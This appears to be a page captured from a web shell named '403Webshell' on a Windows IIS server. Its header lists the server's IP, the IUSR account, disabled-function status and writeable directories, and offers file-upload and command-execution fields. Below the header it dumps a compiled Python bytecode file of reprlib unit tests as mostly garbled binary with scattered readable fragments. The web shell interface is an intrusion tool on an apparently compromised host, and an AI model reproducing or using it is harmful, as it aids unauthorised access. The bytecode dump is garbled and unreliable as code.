403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.18
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_reprlib.cpython-313.opt-2.pyc
�

��i}���SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJr SSK	J
r
 SSKJr
 SSKJr SSKJr Sr"SS	\R"5rS
r"SS\R"5r"S
S5r"SS5r"SS5r"SS\5r"SS5r"SS\R"5r\S:Xa\R8"5 gg)�N)�verbose)�create_empty_file)�repr)�Repr)�recursive_reprc�4�Sn[U5HnU4nM U$)N�)�range)�nesting�t�is   �&C:\Python313\\Lib\test\test_reprlib.py�nestedTuplers!��
�A�
�7�^��
�D����H�c��\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrSrSrSrSrSrSrSrg)�	ReprTests�c���SSSSSSSSS	S
SSS
S.
n[5nUR5Hup4[X#U5 M [S0UD6nUH&nUR[	X#5[	XS5US9 M( g)N�e�f�g�h�i�j�k�l�m�n�o�pxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx�qxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)
�maxlevel�maxtuple�maxlist�maxarray�maxdict�maxset�maxfrozenset�maxdeque�	maxstring�maxlong�maxother�	fillvalue�indent)�msgr	)r�items�setattr�assertEqual�getattr)�self�example_kwargs�r1�attr�val�r2s      r�test_init_kwargs�ReprTests.test_init_kwargss��������������"��
���V��'�-�-�/�I�D��B�c�"�0�
�
#�N�
#��"�D����W�R�.���0A�t��L�#rc�j�URnU"[S5S5 U"[S5S5 Sn[U5SSS-[U5SS-nU"[U5U5 U"[S	5[S	55 S
n[U5SSS-[U5SS-nU"[U5U5 g)N�abcz'abc'�abcdefghijklmnopz'abcdefghijklmnop'�<aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbb�
�...��z"'z�""""""""""""""""""""""""""""""'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''')r2�rr)r4�eq�s�expecteds    r�test_string�ReprTests.test_string4s���
�
�
��
�1�U�8�W��
�1�
� �!5�6�����7�3�B�<�%�'�$�q�'�#�$�-�7��
�1�Q�4���
�1�U�8�T�%�[�!�����7�3�B�<�%�'�$�q�'�#�$�-�7��
�1�Q�4��rc�^�URnU"[S5S5 SnU"[U5S5 [5nSUl[	U5SSS-nU"UR	U5U5 [5nSUlSUl[	U5SSS	-nU"UR	U5U5 g)
N���(1,)�rK���	(1, 2, 3)rN���z...)�+++z+++))r2rCrr#rr-)r4rD�t3r9rF�r3s      r�
test_tuple�ReprTests.test_tupleBs���
�
�
��
�1�T�7�F��
��
�1�R�5�+��
�V�������8�C�R�=�6�)��
�2�7�7�2�;��!��V����������8�C�R�=�6�)��
�2�7�7�2�;��!rc	��SSKJn SSKJn URnU"[	S5S5 U"[	S5S5 U"[	S5S	5 U"[	S
5S5 U"[	S5S
5 U"[	/5S5 U"[	S/5S5 U"[	/SQ5S5 U"[	/S
Q5S5 U"[	/SQ5S5 U"[	[/55S5 U"[	[S/55S5 U"[	[/SQ55S5 U"[	[/S
Q55S5 U"[	[/SQ55S5 U"[	[
/55S5 U"[	[
S/55S5 U"[	[
/SQ55S5 U"[	[
/S
Q55S5 U"[	[
/SQ55S5 U"[	U"/SQ55S5 U"[	05S5 SS S!S"S#.nU"[	U5S$5 SUS%'U"[	U5S&5 U"[	U"S'55S(5 U"[	U"S'S/55S)5 U"[	U"S'SS /55S*5 U"[	U"S'/SQ55S+5 U"[	U"S'/S,Q55S-5 U"[	U"S'/S.Q55S/5 U"[	U"S'/S
Q55S05 g)1Nr)�array)�dequer	�()rJrLrMrP)rKrNrO���z(1, 2, 3, 4, 5, 6))rKrNrOr[r\r]�z(1, 2, 3, 4, 5, 6, ...)z[]rKz[1]z	[1, 2, 3]z[1, 2, 3, 4, 5, 6]z[1, 2, 3, 4, 5, 6, ...]zset()�{1}�	{1, 2, 3}�{1, 2, 3, 4, 5, 6}�{1, 2, 3, 4, 5, 6, ...}zfrozenset()�frozenset({1})�frozenset({1, 2, 3})�frozenset({1, 2, 3, 4, 5, 6})�"frozenset({1, 2, 3, 4, 5, 6, ...})zdeque([1, 2, 3, 4, 5, 6, ...])z{}rNrOr[)�alice�bob�charles�davez/{'alice': 1, 'bob': 2, 'charles': 3, 'dave': 4}�arthurz6{'alice': 1, 'arthur': 1, 'bob': 2, 'charles': 3, ...}r
z
array('i')zarray('i', [1])zarray('i', [1, 2])zarray('i', [1, 2, 3]))rKrNrOr[zarray('i', [1, 2, 3, 4]))rKrNrOr[r\zarray('i', [1, 2, 3, 4, 5])z array('i', [1, 2, 3, 4, 5, ...]))rX�collectionsrYr2rC�set�	frozenset)r4rXrYrD�ds     r�test_container�ReprTests.test_containerUs����%�
�
�
��
�1�R�5�$��
�1�T�7�F��
�1�Y�<��%�
�1�
� �"6�7�
�1�
"�#�%>�?�	�1�R�5�$��
�1�a�S�6�5��
�1�Y�<��%�
�1�
� �"6�7�
�1�
"�#�%>�?�	�1�S��W�:�w��
�1�S�!��X�;���
�1�S��^��k�*�
�1�S�#�
$�%�';�<�
�1�S�&�
'�(�*C�D�	�1�Y�r�]��]�+�
�1�Y��s�^��.�/�
�1�Y�y�
!�"�$:�;�
�1�Y�)�
*�+�-L�M�
�1�Y�,�
-�.�0T�U�	�1�U�(�
)�*�,L�M�	�1�R�5�$����a��;��
�1�Q�4�B�C���(��
�1�Q�4�I�J�	�1�U�3�Z�=�,�'�
�1�U�3���_��0�1�
�1�U�3��A��
� �"6�7�
�1�U�3�	�
"�#�%<�=�
�1�U�3��
%�&�(B�C�
�1�U�3��
(�)�+H�I�
�1�U�3�*�
+�,�5�	7rc��URnU"[S15S5 U"[1Sk5S5 U"[1Sk5S5 U"[1Sk5S5 g)	NrKr_�rKrNrOr`�rKrNrOr[r\r]ra�rKrNrOr[r\r]r^rb�r2rC�r4rDs  r�test_set_literal�ReprTests.test_set_literal�sM��
�
�
��
�1�a�S�6�5��
�1�Y�<��%�
�1�
� �"6�7�
�1�
"�#�%>�?rc��URnU"[[S155S5 U"[[1Sk55S5 U"[[1Sk55S5 U"[[1Sk55S5 g)	NrKrcrsrdrtrerurf)r2rCrnrws  r�test_frozenset�ReprTests.test_frozenset�sd��
�
�
��
�1�Y��s�^��.�/�
�1�Y�y�
!�"�$:�;�
�1�Y�)�
*�+�-L�M�
�1�Y�,�
-�.�0T�Urc
�^�SH'nUR[U5[U55 M) [R"5mSTS-
4H_nURSU3US9 SU-n[U5SSS-[U5S	S-nUR[U5U5 SSS5 Ma U4S
jnTnURSU3US9 SU-nUR
[[U5 UR[U5U"X2S-55 SSS5 TS-ST-4H�nURUS5 URSU3US9 SU-nUR
[[U5 UR[U5U"X2S-55 SSS5 URSUS3US9 SU-S-
nUR
[[U5 UR[U5U"X2S-55 SSS5 M� g!,(df   GM�=f!,(df   GN
=f!,(df   N�=f!,(df   GM$=f)
N)�{gUUUUUU�?�drKz10 ** )�k�
�rAi��c�D>�SURRSUSTS3$)N�<z instance with roughly z digits \(limit at z\) at 0x[a-f0-9]+>)�	__class__�__name__)�nro�
max_digitss  �r�re_msg�&ReprTests.test_numbers.<locals>.re_msg�s6�������-�-�.�.E�a�S�I*�*4��5G�I�
JrrNz - 1)
r2rCr�sys�get_int_max_str_digits�subTest�assertRaises�
ValueError�assertRegex�
assertGreater)r4�xr�r�rFr�r�s      @r�test_numbers�ReprTests.test_numbers�s����A����Q�q�T�4��7�+� ��/�/�1�
��z�A�~�&�A�����q�c�l�a��0��!�G����7�3�B�<�%�/�$�q�'�#�$�-�?��� � ��1��x�0�1�0�'�	J�
��
�\�\�F�1�#�,�!�\�
,��a��A����j�$��2����Q�q�T�6�!��U�#3�4�-�
�q�.�!�j�.�1�A����q�#�&�����q�c�l�a��0��!�G���!�!�*�d�A�6�� � ��1��v�a�Q��'7�8�1�����q�c��.�!��4��!�G�a�K���!�!�*�d�A�6�� � ��1��v�a�Q��'7�8�5�4�
2�1�0��-�
,��1�0��5�4�s4�!AG>�	AH�AH#�)AH4�>
H	�
H �#
H1	�4
I	c��URn[S5nU"[U5[U55 [S5n[U5SSS-[U5SS-nU"[U5U5 [	5nU"[U5S[U5-5 [[5nUR
URS55 UR
URS55 URURS5S	S/5 g)
N�a��xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxr@rArBz&<ClassWithFailingRepr instance at %#x>z<class �>�)r2�
ClassWithReprrCr�ClassWithFailingRepr�id�
assertTrue�
startswith�endswith�assertIn�find)r4rD�i1�i2rF�i3rEs       r�
test_instance�ReprTests.test_instance�s���
�
�
��
�3�
��
�1�R�5�$�r�(��
�8�
$����8�C�R�=�5�(�4��8�C�D�>�9��
�1�R�5�(��
!�
#��
�1�R�5�;�B�r�F�B�D�
�"�#��������Y�/�0�����
�
�3��(��
�
�a�f�f�U�m�b�"�X�.rc�`�[S5nURUR"S5U5 g)Nc��U$�Nr	�r�s r�<lambda>�'ReprTests.test_lambda.<locals>.<lambda>�s��1rz0<function ReprTests.test_lambda.<locals>.<lambda)rr�r�)r4rCs  r�test_lambda�ReprTests.test_lambda�s%������������%W�X�Z[�\rc��URnU"[[5S5 UR[SR5RS55 g)Nz<built-in function hash>�z*<built-in method split of str object at 0x)r2r�hashr��splitr�rws  r�test_builtin_function�ReprTests.test_builtin_function�s@��
�
�
��
�4��:�1�2�����R�X�X��1�1�8�:�	;rc	���URnU"[[S55S5 U"[[SS55S5 U"[[SSS55S5 g)NrKzrange(0, 1)rNzrange(1, 2)r[rOzrange(1, 4, 3))r2rr
rws  r�
test_range�ReprTests.test_range�sL��
�
�
��
�4��a��>�=�)�
�4��a����m�,�
�4��a��A���!1�2rc���URnU"[///////5S5 U"[////////5S5 U"[[S55S5 U"[[S55S5 U"[[S5[S505S5 U"[[S5[S505S	5 U"[0//////5S
5 U"[0///////5S5 g)Nz[[[[[[[]]]]]]]z[[[[[[[...]]]]]]]r]z(((((((),),),),),),)r^z(((((((...),),),),),),)r\z&{((((((),),),),),): ((((((),),),),),)}z,{((((((...),),),),),): ((((((...),),),),),)}z[[[[[[{}]]]]]])r2rCrrws  r�test_nesting�ReprTests.test_nesting�s���
�
�
��
�1�2�$���z�l�^��.�/�
�1�B�4�&��
�|�n�
�� 3�4�
�1�[��^��4�5�
�1�[��^��7�8�
�1�{�1�~��A��
0�1�3�	5�
�1�{�1�~��A��
0�1�9�	;�	�1�2�$���z�l�^��.�/�
�1�B�4�&��
�|�n�
�� 3�4rc��SnU"5RSnUR[U5S5 UR[U5S5 g)Nc�^�SmU4SjnU$)N�*c�>�T$r�r	r�s�r�inner�4ReprTests.test_cell.<locals>.get_cell.<locals>.inner�s����rr	)r�r�s @r�get_cell�%ReprTests.test_cell.<locals>.get_cell�s����A�
��Lrrz6<cell at 0x[0-9A-Fa-f]+: int object at 0x[0-9A-Fa-f]+>z<cell at 0x.*\.\.\..*>)�__closure__r�rrC)r4r�r�s   r�	test_cell�ReprTests.test_cell�sK��	�

�J�"�"�1�%������a��#C�	D�����1��8�9rc�l�URnU"[[R5S5 "SS5n[	UR
5nUR[U5SUR
<S35 [
UR
5nUR[U5SUR
<S35 g)Nz"<method 'items' of 'dict' objects>c��\rSrSrSrSrg)�%ReprTests.test_descriptors.<locals>.C�c��gr�r	)�clss r�foo�)ReprTests.test_descriptors.<locals>.C.foos��$rr	N)r��
__module__�__qualname__�__firstlineno__r��__static_attributes__r	rr�Cr�s��rr�z<staticmethod(z)>z
<classmethod()r2r�dictr0�staticmethodr��classmethod)r4rDr�r�s    r�test_descriptors�ReprTests.test_descriptors�s���
�
�
��
�4��
�
��A�B�
	�	�����������a��N�1�5�5�)�2�">�?�����������a��M�!�%�%��"�"=�>rc��[/SQ5n[U5nSSS.n[U5 [U5 [U5 g)N)��?�@y@rKrN)r�r�)rmrnrC)r4r��y�zs    r�test_unsortable�ReprTests.test_unsortable	s5��
�����a�L����N��	�!��	�!��	�!�rc�@�S[SS9S4[SS9S4[SS9S4[SS9S4[SS9S4[SS9S4[SS	S
9S4[SS9S4[SS9S4[S
S9S44
S.S[SS9S4[SS9S4[SS9S4[SS9S4[SS9S4[SS9S4[SS	S
9S4[SS9S4[SS9S4[S
S9S44
S.SSS/S./[SS9S4[SS9S4[SS9S4[SS9S4[SS9S4[SS9S4[SS	S
9S4[SS9S4[SS9S4[S
S9S44
S.SS[S5[S5//S.[SS9S4[SS9S4[SS9S4[SS9S4[SS9S4[SS9S 4[SS	S
9S!4[SS9S4[SS9S"4[S
S9S#44
S./nUH�nURUS$S%9 US&H�up4URUS'9 [	5nUR5Hupg[
XVU5 M UR"US$5n[R"U5nURX�5 SSS5 M� SSS5 M� g!,(df   M�=f!,(df   M�=f)(Nr	�r.rZFTrrKr[rN)r.r"r�z-->z....)�object�testsz''�spam��eggs�hamz>                        [1, 'spam', {'eggs': True, 'ham': []}]z�                        [
                        1,
                        'spam',
                        {
                        'eggs': True,
                        'ham': [],
                        },
                        ]z�                        [
                         1,
                         'spam',
                         {
                          'eggs': True,
                          'ham': [],
                         },
                        ]a                        [
                            1,
                            'spam',
                            {
                                'eggs': True,
                                'ham': [],
                            },
                        ]a                        [
                        -->1,
                        -->'spam',
                        -->{
                        -->-->'eggs': True,
                        -->-->'ham': [],
                        -->},
                        ]a                        [
                        ....1,
                        ....'spam',
                        ....{
                        ........'eggs': True,
                        ........'ham': [],
                        ....},
                        ]�two)g@g@)��	)r��)rKsthreezZ                        {1: 'two', b'three': [(4.5, 6.25), [{8, 9}, frozenset({10, 11})]]}a                        {
                        1: 'two',
                        b'three': [
                        (
                        4.5,
                        6.25,
                        ),
                        [
                        {
                        8,
                        9,
                        },
                        frozenset({
                        10,
                        11,
                        }),
                        ],
                        ],
                        }aI                        {
                         1: 'two',
                         b'three': [
                          (
                           4.5,
                           6.25,
                          ),
                          [
                           {
                            8,
                            9,
                           },
                           frozenset({
                            10,
                            11,
                           }),
                          ],
                         ],
                        }a�                        {
                            1: 'two',
                            b'three': [
                                (
                                    4.5,
                                    6.25,
                                ),
                                [
                                    {
                                        8,
                                        9,
                                    },
                                    frozenset({
                                        10,
                                        11,
                                    }),
                                ],
                            ],
                        }z�                        {
                            1: 'two',
                            b'three': [
                                (...),
                                [...],
                            ],
                        }a�                        {
                        -->1: 'two',
                        -->b'three': [
                        -->-->(
                        -->-->-->4.5,
                        -->-->-->6.25,
                        -->-->),
                        -->-->[
                        -->-->-->{
                        -->-->-->-->8,
                        -->-->-->-->9,
                        -->-->-->},
                        -->-->-->frozenset({
                        -->-->-->-->10,
                        -->-->-->-->11,
                        -->-->-->}),
                        -->-->],
                        -->],
                        }a�                        {
                        ....1: 'two',
                        ....b'three': [
                        ........(
                        ............4.5,
                        ............6.25,
                        ........),
                        ........[
                        ............{
                        ................8,
                        ................9,
                        ............},
                        ............frozenset({
                        ................10,
                        ................11,
                        ............}),
                        ........],
                        ....],
                        }r�)�test_objectr�)�
repr_settings)r�rmrnr�rr0r1r�textwrap�dedentr2)	r4�
test_cases�	test_caser��
expected_reprrC�	attribute�value�resulting_reprs	         r�test_valid_indent�ReprTests.test_valid_indents������&��-���'��.���&��-���^�T�*���^�T�*���^�T�*���Q�/��6���_�d�+���'��.���(�$�/��
� ���&��-���'��.���&��-���^�T�*���^�T�*���^�T�*���Q�/��6���_�d�+���'��.���(�$�/��
� �f�t�B�&?�@���&�)B�C���'�*����&�)����^�&����^�&����^�&����Q�/�2����_�'����'�*����(�+��WT�W
�t�#��V��i��&9�:�����&�)^�_���'�*��(��&�)��(��^�&��(��^�&��(��^�&��(��Q�/�2����_�'��(��'�*��(��(�+��ok�t
�ol
�
�Z	$�I����)�H�*=��>�4=�g�4F�0�M����M��B� �F��0=�0C�0C�0E�,�I�#�A�%�8�1F�)*���	�(�0C�)D��(0���
�(F�
��(�(��G�
C�B�5G�?�>�$�C�B��?�>�s%�J�7A,I<	�#J�<
J
�J�
J	c	���SSS/S./nS[S44S[S44S[S44/[S44S	[S44S
/[S44[5[S44/nUHqunupEURUS9 [	5nX6lU=(d [
U5nURXE5 UR"U5 SSS5 SSS5 Ms g!,(df   N=f!,(df   M�=f)NrKr�Tr����z[Nn]egative|[Pp]ositive���r	)r[r[r�)	r��	TypeErrorr�r�rr.�type�assertRaisesRegexr)r4r�r�r.�expected_error�expected_msgrCs       r�test_invalid_indent�ReprTests.test_invalid_indentLs����&�4��";�<��
�*�7�8�9�
�*�7�8�9�
�)�T�"�#�
�)�T�"�#�
�I�t�$�%��T�I�t�$�%�
�X�	�4�(�)�
�
�7A�2�F�2�^����V��,��F��!��+�@�$�v�,����+�+�N�I��F�F�;�'�J�	-�,�7A�
J�I��	-�,�s$�,7C�#C�6C�
C�C�
C+	c�X�"SS5nUR[U"55S5 g)Nc��\rSrSrSrSrg)�3ReprTests.test_shadowed_stdlib_array.<locals>.arrayiac��g)N�not array.arrayr	�r4s r�__repr__�<ReprTests.test_shadowed_stdlib_array.<locals>.array.__repr__bs��(rr	N�r�r�r�r�rr�r	rrrXras��
)rrXrrv)r4rXs  r�test_shadowed_stdlib_array�$ReprTests.test_shadowed_stdlib_array_s%��	)�	)�	
����5�7��%6�7rc�X�"SS5nUR[U"55S5 g)Nc��\rSrSrSrSrg)�-ReprTests.test_shadowed_builtin.<locals>.listijc��g)N�not builtins.listr	rs rr�6ReprTests.test_shadowed_builtin.<locals>.list.__repr__ks��*rr	Nr	r	rr�listrjs��
+rrrrv)r4rs  r�test_shadowed_builtin�ReprTests.test_shadowed_builtings%��	+�	+�	
����4�6��$7�8rc��"SS[5nU"5nURUR[R5S5 g)Nc��\rSrSrSrSrg)�*ReprTests.test_custom_repr.<locals>.MyRepriqc�P�URS;aUR$[U5$)N>�<stdin>�<stderr>�<stdout>)�namer�r4�obj�levels   r�repr_TextIOWrapper�=ReprTests.test_custom_repr.<locals>.MyRepr.repr_TextIOWrapperss"���8�8�B�B��8�8�O��C�y� rr	N)r�r�r�r�r r�r	rr�MyReprrqs��
!rr"r)rr2rr��stdin)r4r"�aReprs   r�test_custom_repr�ReprTests.test_custom_reprps4��	!�T�	!����������C�I�I�.�	�:rc��"SS5nU"5nS[U5lUR[U5RS5 "SS[5nU"5nURUR	U5S5 g)Nc��\rSrSrSrg)�DReprTests.test_custom_repr_class_with_spaces.<locals>.TypeWithSpacesi|r	N)r�r�r�r�r�r	rr�TypeWithSpacesr)|s��rr*ztype with spacesc��\rSrSrSrSrg)�<ReprTests.test_custom_repr_class_with_spaces.<locals>.MyRepri�c��g)N�Type With Spacesr	rs   r�repr_type_with_spaces�RReprTests.test_custom_repr_class_with_spaces.<locals>.MyRepr.repr_type_with_spaces�s��)rr	N)r�r�r�r�r/r�r	rrr"r,�s��
*rr"r.)r�r�r2rr)r4r*rr"r$s     r�"test_custom_repr_class_with_spaces�,ReprTests.test_custom_repr_class_with_spaces{sk��	�	�
���-��Q�������a��)�)�+=�>�	*�T�	*�
���������A��(:�;rr	N)r�r�r�r�r:rGrUrprxr{r�r�r�r�r�r�r�r�r�r�r�r
rr%r1r�r	rrrrst��M�.�"�&37�j@�V� 9�D/�"]�
;�3�5�"	:�
?�
�wH�r	(�&8�9�	;�<rrc�p�[USSS9nURU5 SSS5 g!,(df   g=f)N�w�ASCII)�encoding)�open�write)�path�text�fps   r�
write_filer<�s'��	
�d�C�'�	*�b�
�����
+�	*�	*�s�'�
5c��\rSrSrSrSrSrSrSrSr	\
R"S5S	5rS
r
SrSr\
R"S
5S5rSrg)�LongReprTesti��3areallylongpackageandmodulenametotestreprtruncationc�L�[RRUR5Ul[RRURUR5Ul[R"URSS9 [R"UR5 [[RRURS55 [R"UR
SS9 [R"UR
5 [[RRUR
S55 [R"5Ul[RRSUR5 [R"5 g)NT)�
ignore_errorsz__init__.pyr)�osr9�join�longname�pkgname�
subpkgname�shutil�rmtree�mkdirr�getcwd�herer��insert�	importlib�invalidate_cachesrs r�setUp�LongReprTest.setUp�s����w�w�|�|�D�M�M�2����'�'�,�,�t�}�}�d�m�m�D����
�
�d�l�l�$�7�
��������"�'�'�,�,�t�|�|�]�C�D��
�
�d�o�o�T�:�
������!��"�'�'�,�,�t���
�F�G��I�I�K��	�������4�9�9�%�	�#�#�%rc��/n[R"UR5H?up#nX4-H1nUR[RRX%55 M3 MA URUR5 UR
5 UR5 UHUn[RRU5(a[R"U5 M?[R"U5 MW [RS	g)Nr)rB�walkrE�appendr9rC�sort�reverse�isdir�rmdir�remover�)r4�actions�dirpath�dirnames�	filenamesr�ps       r�tearDown�LongReprTest.tearDown�s�����,.�G�G�D�L�L�,A�(�G�y� �,�����r�w�w�|�|�G�:�;�-�-B�	���t�|�|�$����������A��w�w�}�}�Q���������	�	�!��	�

�H�H�Q�Krc���[UR5nUS[UR5S---
nU[U5S-[S5--
nU[[RRS55-[S5-
n[RS:XaUS:�aURSU-5 g[RS:Xa[(a
[SU5 ggg)	NrNrK�.pyzx.py�ntr�zDtest paths too long (%d characters) for Windows' 260 character limitzcached_path_len =)�lenrKrDrM�util�cache_from_sourcerBr�skipTestr�print)r4�module_name�source_path_len�cached_path_lens    r�_check_path_limitations�$LongReprTest._check_path_limitations�s����d�i�i�.���1��D�M�M� 2�Q� 6�7�7���3�{�+�a�/�#�e�*�<�<��*��	���0�0��8�9�:�<?��K�H��
�7�7�d�?��#�5�
�M�M�`�+�,�
-�
�W�W��_����%��7�")�_rc��SUlURUR5 [[R
R
URURS-55 [R"5 SSK
Jn UnUR[U5SUR<SUR<S35 UR[[ 5S5 g)Nrar)r?z<module z from r�z<module 'sys' (built-in)>)�maxDiffrkrErrBr9rCrFrMrN�gareallylongpackageandmodulenametotestreprtruncation.areallylongpackageandmodulenametotestreprtruncationr?r2rr��__file__r�)r4r?�modules   r�test_module�LongReprTest.test_module�s�������$�$�T�\�\�2��"�'�'�,�,�t������u�8L�M�N��#�#�%�	p�D������f�����QW�Q`�Q`�'a�b�����c��$?�@rc�.�URS5 URn[[RRURS5S5 [R"5 SSK	J
n U"[UR5SUR-5 g)Nr�zfoo.pyzclass foo(object):
    pass
r)r�z<class '%s.foo'>)
rkr2r<rBr9rCrFrMrNror�rr�)r4rDr�s   r�	test_type�LongReprTest.test_type�sl���$�$�U�+�
�
�
���2�7�7�<�<�����:�=�	�	�#�#�%��
�4����=�!�C�L�L�0�	2rzneed a suitable objectc��gr�r	rs rr��LongReprTest.test_object�s��	
rc�(�URS5 [[RR	UR
S5S5 [R"5 SSKJ	n UR[UR5SUR-5 g)N�barzbar.pyzclass bar:
    pass
r)rzz<class '%s.bar'>)
rkr<rBr9rCrFrMrNrorzr2rr�)r4rzs  r�
test_class�LongReprTest.test_class�se���$�$�U�+��2�7�7�<�<�����:�=�	�	�#�#�%������c�g�g��(:�S�\�\�(I�Jrc�P�URS5 [[RR	UR
S5S5 [R"5 SSKJ	n UR5nUR[U5RSUR-55 g)N�bazzbaz.pyzclass baz:
    pass
r)r~z<%s.baz object at 0x)rkr<rBr9rCrFrMrNror~r�rr�r�)r4r~�ibazs   rr��LongReprTest.test_instance�sw���$�$�U�+��2�7�7�<�<�����:�=�	�	�#�#�%���w�w�y������T�
�-�-�"�S�\�\�1�3�	4rc�
�URS5 URn[[RRURS5S5 [R"5 SSK	J
n [URR5nURUR"S5U5 UR5n[UR5nURUR"SUR <S35U5 g)	N�quxzqux.pyz�class aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
    def amethod(self): pass
r)r�z�<function aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.amethodz�<bound method aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.amethod of <z�.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa object at 0x)rkr2r<rBr9rCrFrMrNror�r��aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�amethodr�r�r�)r4rDr�rC�iquxs     r�test_method�LongReprTest.test_method�s����$�$�U�+�
�
�
���2�7�7�<�<�����:�=�	�	�#�#�%����^�^�f�f�
g��������&B�C�EF�	G��\�\�^���������������|�|�
� �!"�	$rz1needs a built-in function with a really long namec��gr�r	rs rr��"LongReprTest.test_builtin_function
s��	
r)rKrnrErFN)r�r�r�r�rDrOr^rkrrru�unittest�skipr�r{r�r�r�r�r	rrr>r>�sn��D�H�&�"
�8�$A�
2��]�]�+�,�
�-�
�
	K�
4�$�&�]�]�F�G�
�H�
rr>c� �\rSrSrSrSrSrg)r�ic��Xlgr��rE)r4rEs  r�__init__�ClassWithRepr.__init__s���rc� �SUR-$)NzClassWithRepr(%r)r�rs rr�ClassWithRepr.__repr__s��"�T�V�V�+�+rr�N)r�r�r�r�r�rr�r	rrr�r�s���,rr�c��\rSrSrSrSrg)r�ic��[S5e)Nz+This should be caught by Repr.repr_instance)�	Exceptionrs rr�ClassWithFailingRepr.__repr__s���E�F�Frr	Nr	r	rrr�r�s��Grr�c�:�\rSrSrSrSr\"5S5rSrg)�MyContaineric�$�[U5Ulgr�)r�values)r4r�s  rr��MyContainer.__init__s
